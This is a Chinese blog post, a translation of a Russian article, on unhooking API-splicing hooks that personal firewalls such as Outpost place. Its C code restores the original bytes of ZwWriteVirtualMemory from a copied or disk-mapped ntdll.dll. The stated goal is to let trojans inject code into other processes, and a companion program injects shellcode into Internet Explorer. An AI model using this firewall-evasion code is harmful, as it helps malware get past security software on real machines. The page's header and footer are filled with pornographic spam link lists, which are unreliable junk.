青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

對付API-splicing的一種簡單方法

Posted on 2010-07-02 08:19 S.l.e!ep.¢% 閱讀(705) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
//原文章:俄羅斯程序員PSI_H的《Простой способ противодействия сплайсингу API》

對付API-splicing的一種簡單方法

對于攔截API函數通常使用一種叫splicing的方法。此法的本質就是用JMP指令替換函數起始處的5個字節,將控制權傳遞給攔截程序。這種技術廣泛應用于個人防火墻中,以防木馬程序將自己的代碼注入到其它可訪問網絡進程的地址空間中。然而,木馬程序作者們可以采用不同的技術來穿透防火墻。比如說很流行的防火墻Agnitum Outpost的第三版就可以輕松繞過(詳見MS-REM的文章《使用inject繞過防火墻》)。然而設計者們已經對自己的勞動結晶施以了巫術,Outpost 4.0已經能可靠地(?)對付這種方法了。但是如果這種保護繞不過去,那為什么不試著把它拿下呢?

首先腦子里想到的是,使用LoadLibrary/GetProcAddress函數來獲取被攔截函數的原始代碼,之后用它在內存里替換掉以前的代碼,這樣就摘掉了對函數的HOOK。因為調用LoadLibrary將返回指向已加載模塊的指針,所以必須將文件拷貝并加載此拷貝。下面的代碼去除了對ZwWriteVirtualMemory函數的攔截:

// 將NTDLL.DLL文件拷入TEMP文件夾

char szTemp[MAX_PATH];

GetTempPath(MAX_PATH, szTemp);

strcat(szTemp, "ntdll2.dll");

CopyFile("C:\\Windows\\System32\\ntdll.dll", szTemp, TRUE);

// 取得指向原始函數的指針
HMODULE hMod = LoadLibrary(szTemp);
void* ptr_orig = GetProcAddress(hMod, "ZwWriteVirtualMemory");

// 取得指向當前函數的指針
void* ptr_new = GetProcAddress (LoadLibrary("ntdll.dll"), "ZwWriteVirtualMemory");

// 設置內存訪問權限
DWORD dwOldProtect;
VirtualProtect(ptr_new, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// 替換函數的前10個(為保險起見)字節
memcpy(ptr_new, ptr_orig, 10);

FreeLibrary(hMod);
DeleteFile(szTemp);

此后,為了在其它進程地址空間中執行自己的代碼,可以使用經典的CreateRemoteThread。順便說一句,Outpost對這個函數也進行了攔截,但是,在別的進程里創建線程是絕對可以的。

盡管這里給出的摘除HOOK的方法完全奏效,但需要加載新的dll模塊,這可能會引起防火墻的暴怒。我所認為的更為優雅的辦法就是只需從文件中讀取所需要的字節。下面這個函數的代碼恢復了API的原始的起始部分。

bool RemoveFWHook(char* szDllPath, char* szFuncName) // szDllPath為DLL的完整路徑 !
{
// 取得指向函數的指針
HMODULE lpBase = LoadLibrary(szDllPath);
LPVOID lpFunc = GetProcAddress(lpBase, szFuncName);
if(!lpFunc)
return false;
// 取得RVA
DWORD dwRVA = (DWORD)lpFunc-(DWORD)lpBase;

// 將文件映射入內存
HANDLE hFile = CreateFile(szDllPath,GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
if(INVALID_HANDLE_VALUE == hFile)
return false;

DWORD dwSize = GetFileSize(hFile, NULL);

HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL);

LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize);

// 指向當前函數的指針
LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA);

// 修改訪問權限并拷貝
DWORD dwOldProtect;
BOOL bRes=true;
if(VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
memcpy(lpFunc, lpRealFunc, 10);
}else{
bRes=false;
}

UnmapViewOfFile(lpBaseMap);

CloseHandle(hMapFile);
CloseHandle(hFile);

return bRes;

}

注意CreateFileMapping函數的調用,參數SEC_IMAGE指明了文件將作為可執行文件映射入內存,這就使我們能夠找到PE首部并計算文件偏移量。然而,以上示例是有缺陷的——用戶可以禁止讀取系統文件,除此之外,軟件設計者還可以patch磁盤文件(盡管可能性很小)。對付的方法還是有的,可以基址作為標志函數起始的label。例如,在所有我研究過的Windows XP(SP0-SP2、RU和MUI)里,ZwWriteVirtualMemory起始處都是字節:

B8 15 01 00 00

其對應的匯編助記符為

mov eax, 00000115

為了識別label,無需在磁盤文件上做手腳,因為ntdll.dll在distribution里是不設防的。當然使用靜態label并不能保證相容性,但這是防范攔截的最好辦法。

使用上面所講的技術可以達到十分通用的效果——比如防范調試器。比如說,我們的應用程序從注冊表讀取lisense鍵值,而且我們不想此舉被黑客監視。為了恢復函數的原始代碼以處理注冊表,我們將斷點(opcode為0xCC)做掉。老實說,如果黑客在函數的尾部施此伎倆,而我們只恢復起始部分,這還真就不靈了。所以,最好一下恢復整個code section。


Anti-anti-splicing

要想對付類似的anti-splicing的方法,developers可以對ZwProtectVirtualMemory函數進行處理。攔截了這個函數就能控制對內存訪問參數的修改,我們也就因此而不能向所需的地址里進行寫入。然而,如果建立了前面提到的函數起始基址的話,還是有辦法對付的。

本文的配套程序是向Internet Explorer注入shellcode的例子。

[C] PSI_H

董巖 譯
http://greatdong.blog.edu.cn
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲欧美国产日韩中文字幕| 亚洲欧美精品在线| 亚洲国产精品va| 国产精品麻豆欧美日韩ww| 欧美在线免费观看| 亚洲欧美日韩另类| 亚洲免费一区二区| 亚洲欧美成人一区二区三区| 99精品国产在热久久婷婷| 欧美成人国产一区二区| 久久精品欧美日韩精品| 久久国产主播| 欧美国产日本| 亚洲日本无吗高清不卡| 亚洲精品国产精品国自产观看浪潮| 久久久精品tv| 亚洲黄色在线视频| 99热在这里有精品免费| 亚洲婷婷综合色高清在线| 亚洲欧美在线免费| 在线日韩欧美| 亚洲美女视频| 欧美激情国产日韩精品一区18| 欧美日产国产成人免费图片| 国产精品成人一区二区网站软件| 国产精品一区二区久久久| 激情久久五月天| 亚洲最新中文字幕| 玖玖在线精品| 亚洲影音一区| 欧美日韩午夜剧场| 亚洲国产精品一区二区www在线| 99re6热在线精品视频播放速度| 欧美专区亚洲专区| 99国产精品久久久久老师| 蜜臀99久久精品久久久久久软件| 欧美香蕉视频| 亚洲视频电影图片偷拍一区| 老牛国产精品一区的观看方式| 一本色道久久99精品综合| 欧美激情一二区| 亚洲国产日本| 亚洲黄色片网站| 久久精品一区二区国产| 一区福利视频| 欧美xart系列在线观看| 免费久久精品视频| 1000部国产精品成人观看| 久久久久久亚洲精品杨幂换脸| 新狼窝色av性久久久久久| 国产精品成人一区二区三区夜夜夜| 宅男噜噜噜66国产日韩在线观看| 日韩午夜三级在线| 国产伦精品一区二区三区视频黑人| 亚洲二区在线| 久久久水蜜桃av免费网站| 欧美伊人久久久久久久久影院| 亚洲国产精品一区二区第一页 | 欧美日韩精品二区第二页| 99国产精品自拍| 一本大道久久a久久精品综合 | 亚洲黄色大片| 欧美午夜一区二区福利视频| 午夜精品久久久久| 女人色偷偷aa久久天堂| 亚洲在线一区| 久久综合国产精品| 午夜精品久久久久久久久久久久 | 亚洲福利国产精品| 亚洲综合视频网| 久久久久高清| 欧美日韩国产免费观看| 久久久夜夜夜| 国产欧美综合在线| 亚洲视频999| 91久久夜色精品国产网站| 一区二区三区黄色| 亚洲欧洲日本一区二区三区| 欧美一区二区三区免费观看视频| 亚洲免费福利视频| 男女激情久久| 亚洲福利久久| 亚洲美女黄网| 欧美日韩国产首页在线观看| 美日韩精品免费| 亚洲国产日韩欧美在线99| 久久aⅴ国产欧美74aaa| 久久人人爽人人爽| 亚洲尤物视频在线| 亚洲先锋成人| 欧美成人精品一区| 欧美激情亚洲精品| 亚洲精品乱码久久久久久蜜桃91| 久久阴道视频| 亚洲精品乱码久久久久久久久 | 久久婷婷国产综合国色天香| 久久www成人_看片免费不卡| 国产亚洲精品福利| 每日更新成人在线视频| 亚洲欧洲在线免费| 欧美一区二区三区成人| 亚洲国产高清高潮精品美女| 欧美国产日韩一二三区| 欧美有码在线视频| 9人人澡人人爽人人精品| 久久精品盗摄| 亚洲女优在线| 一本色道久久综合狠狠躁篇的优点 | 亚洲成色www久久网站| 国产精品久久久久久久久久三级 | 性欧美办公室18xxxxhd| 亚洲日本成人网| 免费不卡中文字幕视频| 欧美在线资源| 午夜欧美精品| 亚洲欧美日韩视频一区| 夜夜嗨av一区二区三区中文字幕| 午夜伦理片一区| 亚洲精品免费在线播放| 蜜桃av一区二区| 久久天天躁夜夜躁狠狠躁2022| 午夜久久美女| 久久五月天婷婷| 欧美成人高清| 亚洲裸体视频| 亚洲小说欧美另类社区| 亚洲视频第一页| 欧美一区在线视频| 久久婷婷综合激情| 欧美电影在线观看| 欧美色精品在线视频| 国产精品看片你懂得| 国产亚洲精品aa| 在线国产亚洲欧美| 亚洲一区二区三区四区在线观看| 亚洲伊人久久综合| 老牛影视一区二区三区| 亚洲日本乱码在线观看| 亚洲男人的天堂在线aⅴ视频| 性高湖久久久久久久久| 欧美激情一区二区三级高清视频| 欧美性猛交xxxx免费看久久久| 国产精品综合不卡av| 亚洲国产99精品国自产| 亚洲一区二区三区免费视频| 欧美a级片网| 午夜欧美精品| 欧美三级中文字幕在线观看| 又紧又大又爽精品一区二区| 亚洲一区二区三区成人在线视频精品 | 欧美一级成年大片在线观看| 欧美大片一区二区| 亚洲国产第一| 模特精品在线| 久久夜色精品国产| 韩国精品在线观看| 国产美女精品人人做人人爽| 亚洲人体偷拍| 欧美激情一区三区| 久久一区二区三区av| 雨宫琴音一区二区在线| 久久久伊人欧美| 久久蜜桃精品| 91久久综合| 一区二区免费在线播放| 欧美午夜电影在线观看| 午夜精品免费在线| 久久精品91久久久久久再现| 国产又爽又黄的激情精品视频| 久久亚洲精品一区二区| 欧美不卡在线| 午夜视频一区在线观看| 久久精品国产第一区二区三区最新章节| 国产主播一区二区三区四区| 欧美a级一区| 欧美女激情福利| 欧美在线观看一二区| 久久久久久久久岛国免费| 一本色道久久综合亚洲91| 亚洲欧美激情一区二区| 在线精品视频一区二区三四| 亚洲欧洲久久| 国产一区日韩二区欧美三区| 亚洲电影专区| 国产精品理论片| 9久re热视频在线精品| 亚洲日本一区二区| 欧美成人一区在线| 欧美成人一区二区三区| 国产日韩欧美中文在线播放| 日韩视频永久免费| 亚洲精品免费在线播放| 久久免费黄色| 蜜臀久久99精品久久久久久9| 欧美香蕉视频| 国产精品免费看片| 在线观看成人网| aⅴ色国产欧美| 亚洲综合色激情五月| 欧美午夜宅男影院在线观看|